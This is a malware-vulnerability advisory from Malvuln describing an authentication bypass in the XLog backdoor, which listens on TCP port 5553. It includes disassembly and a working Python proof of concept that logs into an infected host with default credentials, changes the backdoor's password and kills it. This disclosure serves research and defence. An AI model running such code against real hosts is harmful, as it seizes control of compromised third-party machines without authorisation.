Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/2906b5dc5132dd1319827415e837168f.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.XLog.21 Vulnerability: Authentication Bypass Race Condition Description: The malware listens on TCP port 5553. Third-party attackers who can reach the system before a password has been set can logon using default credentials of noname/nopass and run commands made avail by the backdoor including changing the password therby potentially locking out the original intruder. Incorrect username "victim|pass" we get Received invalid name parameter! Incorrect password "noname|pass" we get Received incorrect password from client! Sending correct noname|nopass creds we get no error. Next, we must send valid cmds using correct pipe delimiter or we will get "Received invalid parameter" errors. push offset aCmdChangepass ; "cmd changepass" 004018EA mov edx, [ebp+Str1] 004018ED push edx ; Str1 004018EE call _strcmp 004018F3 add esp, 8 004018F6 test eax, eax 004018F8 jnz loc_4019A6 004018FE lea eax, [ebp+Delimiter] 00401901 push eax ; Delimiter 00401902 push 0 ; String 00401904 call _strtok 00401909 add esp, 8 0040190C mov [ebp+Str1], eax 0040190F cmp [ebp+Str1], 0 00401913 jnz short loc_401930 00401915 push offset aReceivedInvali_4 ; "\r\nReceived invalid parameter (NULL) f"... 0040191A mov ecx, [ebp+s] 0040191D push ecx ; s 0040191E call sub_4019D9 Family: XLog Type: PE32 MD5: 2906b5dc5132dd1319827415e837168f Vuln ID: MVID-2022-0543 Disclosure: 04/06/2022 Exploit/PoC: from socket import * import time MALWARE_HOST="x.x.x.x" PORT=5553 def chk_res(s): res="" while True: res += s.recv(512) break if "\0" in res or "\n" in res or res == "": break return res def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) #Change the backdoors password so we PWN it!. PAYLOAD="noname|nopass|cmd:changepass|malvuln" s.send(PAYLOAD) time.sleep(0.5) #See whats the malware about PAYLOAD="noname|malvuln|cmd:about" s.send(PAYLOAD) time.sleep(0.5) print(chk_res(s)) #Terminate the backdoor PAYLOAD="noname|malvuln|cmd:kill" s.send(PAYLOAD) time.sleep(0.5) print(chk_res(s)) s.close() if __name__=="__main__": doit() print("Malvuln") Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).